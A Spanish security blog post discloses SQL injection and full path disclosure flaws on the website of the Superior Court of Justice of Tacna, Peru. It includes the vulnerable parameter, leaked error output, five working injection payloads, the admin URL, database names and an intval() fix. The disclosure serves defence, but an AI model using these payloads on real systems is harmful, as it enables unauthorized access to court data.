Posteado por JP el 08/08/2019

Tags: pjtacnasqli

Un ataque por inyección SQL consiste en la inserción o “inyección” de una consulta SQL por medio de los datos de entrada desde el cliente hacia la aplicación. Un ataque por inyección SQL exitoso puede leer información sensible desde la base de datos, modificar la información (Insert/ Update/ Delete), ejecutar operaciones de administración sobre la base de datos (tal como parar la base de datos), recuperar el contenido de un determinado archivo presente sobre el sistema de archivos del DBMS y en algunos casos emitir comandos al sistema operativo. Los ataques por inyección SQL son un tipo de ataque de inyección, en el cual los comandos SQL son insertados en la entrada de datos con la finalidad de efectuar la ejecución de comandos SQL predefinidos. (https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL)

Una vulnerabilidad de Full Path Disclosure nos otorga información exacta de la ruta de algún archivo del sistema, lo cual muchas veces nos entrega información vital sobre el sistema, como la plataforma (Windows/Linux), el usuario (/home/nombreUsuario) del sistema, lenguaje de programación, motor de base de datos, etc. (Fuente: JP - RedSec)

Documento:

Corte Superior de Justicia de Tacna - Multiple Vulnerabilities

Fecha de lanzamiento:

16 de Julio del 2019

Clase de vulnerabilidad:

  • SQL Injection
  • Full Path Disclosure

Producto e Introducción del Servicio:

Corte Superior de Justicia de Tacna : "Institución autónoma con vocación de servicio; que enfrente los desafíos del futuro con magistrados comprometidos con el proceso de cambio, transformación y modernidad; que se traduzca en seguridad jurídica e inspire plena confianza en la ciudadanía, contando para ello con un adecuado soporte administrativo y tecnológico". (http://www.pjtacna.pe/web/pagina.php?id=1)

Resumen de Asesoramiento:

El equipo de investigación de CyberSeguridad de RedSec descubrió múltiples vulnerabilidades remotas las cuales podrían llevar a un acceso no autorizado a la base de datos de la Corte Superior de Justicia de Tacna.

Producto(s) Afectado(s):

Página Web - Corte Superior de Justicia de Tacna

Técnica de Explotación:

Remota

Nivel de Severidad:

Alto

Tipo de Divulgación:

Responsible Disclosure: En RedSec tu seguridad es nuestra prioridad, por lo cual este reporte es totalmente gratuito y confidencial para usted. Dado un plazo razonable para resolver las vulnerabilidades presentadas en este documento por RedSec se procederá a la desclasificación del reporte en nuestro blog de CyberSeguridad (https://bl0g.redsec.network/), teniendo en cuenta los siguientes aspectos:

  • El copyright del reporte pertenece en su totalidad a RedSec y sus investigadores.

  • RedSec se reserva el derecho a establecer los plazos razonables para resolver las fallas de cada reporte.

  • RedSec se reserva el derecho de prórroga del plazo para la divulgación de este reporte.

  • El reporte público puede o no contener los Exploits/Payloads.

  • El reporte público puede o no contener innformación total/parcial de las pruebas de acceso (Nombres de bases de datos, usuarios, hostnames, etc.) así como screenshots.

Términos actualizados al 17 de Julio del 2019 - https://redsec.pro/disclosure

Detalles Técnicos y Descripción:

SQL Injection:

La vulnerabilidad SQL Injection permite a atacantes remotos ejecutar comandos SQL maliciosos para comprometer el sistema de gestión de bases de datos y las aplicaciones web.

La vulnerabilidad se encuentran en el parámetro id del archivo /web/pre_noticias.php el cual acepta como válido cualquier valor que se le ingrese, debiéndo este sólo aceptar valores numéricos los cuales son usados como llaves primarias.

La explotación exitosa de la vulnerabilidad web resulta en el compromiso del sistema de gestión de bases de datos o aplicación web poneiendo en peligro la información confidencial que podamos almacenear en ella.

Full Path Disclosure:

Así mismo, en el mismo archivo, al ejecutar el Exploit:

Parámetro: id (GET)
    Payload: id=70'

Obtenemos los siguientes errores del sistema:

Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "'1''" LINE 1: SELECT * FROM web.pagina WHERE id_pagina='1'' ^ in /home/pjtacna/public_html/admin/clases/cls.control.php on line 70
Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "'1'' order by fchreg" LINE 1: SELECT * FROM web.pagina_img WHERE id_pagina='1'' order by f... ^ in /home/pjtacna/public_html/admin/clases/cls.control.php on line 70

De lo cual podemos deducir lo siguiente:

  • El usuario del sistema es pjtacna.
  • La ruta donde se alojan los archivos del servidor web es /home/pjtacna/public_html.
  • El sistema usa PHP y PostgreSQL.
  • La consulta hace un SELECT * FROM web.pagina seleccionado específicamente la base de datos web, probablemente dicho usuario tenga acceso a otras bases de datos.
  • Si hago una peticion hacia http://www.pjtacna.pe/admin/clases/cls.control.php y existe el archivo, pues http://www.pjtacna.pe/admin sería donde tendría que acceder si quisiera loguearme en el sistema.

Exploit:

La vulnerabilidad detallada anteriormente puede ser explotada de múltiples formas:

Parámetro: id (GET)
    Tipo: boolean-based blind
    Payload: id=70' AND 5442=5442 AND 'qVWu'='qVWu
Parámetro: id (GET)
    Tipo: error-based
    Payload: id=70' AND 7255=CAST((CHR(113)||CHR(118)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (7255=7255) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(122)||CHR(113)) AS NUMERIC) AND 'ioKM'='ioKM
Parámetro: id (GET)
    Tipo: stacked queries
    Payload: id=70';SELECT PG_SLEEP(5)--
Parámetro: id (GET)
   Tipo: time-based blind
   Payload: id=70' AND 9496=(SELECT 9496 FROM PG_SLEEP(5)) AND 'GSAH'='GSAH
Parámetro: id (GET)
   Tipo: UNION query
   Payload: id=70' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(118)||CHR(118)||CHR(112)||CHR(113))||(CHR(97)||CHR(109)||CHR(99)||CHR(108)||CHR(102)||CHR(73)||CHR(100)||CHR(86)||CHR(99)||CHR(110)||CHR(68)||CHR(71)||CHR(97)||CHR(73)||CHR(101)||CHR(110)||CHR(79)||CHR(99)||CHR(87)||CHR(118)||CHR(108)||CHR(110)||CHR(110)||CHR(117)||CHR(68)||CHR(104)||CHR(65)||CHR(73)||CHR(67)||CHR(78)||CHR(80)||CHR(80)||CHR(114)||CHR(97)||CHR(83)||CHR(121)||CHR(122)||CHR(68)||CHR(84)||CHR(71))||(CHR(113)||CHR(113)||CHR(106)||CHR(122)||CHR(113)),NULL,NULL,NULL-- WLjU

Solución Planteada:

El equipo de RedSec recomienda que mientras se re-estructuran las cosultas a la base de datos, se utilice la fución intval() para limpiar el parámetro id, reemplazando todos los $_GET['id'] por intval($_GET['id']). (Documetación de la función intval(): https://www.php.net/manual/en/function.intval.php)

Recomendacioes Anexas:

En el pié de la página web, en la sección "ACCESOS", el link "Directorio CSJTACNA" lleva a la URL http://www.pjtacna.pe/admin/mod_adm_pageweb/report_directorio.php, la cual expone la ruta del directorio de administración, pues al ingresar a http://www.pjtacna.pe/admin muestra el formulario de acceso al sistema lo cual es una mala práctica de seguridad, pues un posible atacante podría utlizar fuerza bruta y/o probar otras inyecciones SQL como la reportada en este documento.

Bases de Datos Disponibles:

  1. adm
  2. audiencia
  3. nformation_schema
  4. jueces_paz
  5. nlpt
  6. penal
  7. pg_catalog
  8. pjt
  9. public
  10. voluntariado
  11. web

Timeline:

  • Descubrimiento de la vulnerabilidad: 16 de Julio del 2019
  • Reporte: 17 de Julio del 2019
  • Desclasificación Programada: 01 de Agosto del 2019
  • Desclasificación: 08 de Agosto del 2019

Créditos y Autores:

Jorge Pacora [[email protected]]